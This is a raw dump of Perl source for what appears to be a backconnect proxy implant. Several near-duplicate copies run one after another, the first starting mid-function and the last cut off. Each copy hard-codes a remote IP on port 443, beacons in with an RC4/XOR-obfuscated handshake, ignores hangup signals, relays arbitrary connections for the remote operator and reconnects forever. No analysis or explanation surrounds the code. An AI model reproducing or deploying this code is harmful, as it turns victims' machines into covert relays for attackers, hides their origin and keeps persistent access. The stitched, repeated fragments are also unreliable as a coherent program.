SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '62.60.131.181'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '36.255.98.168'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.200'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { 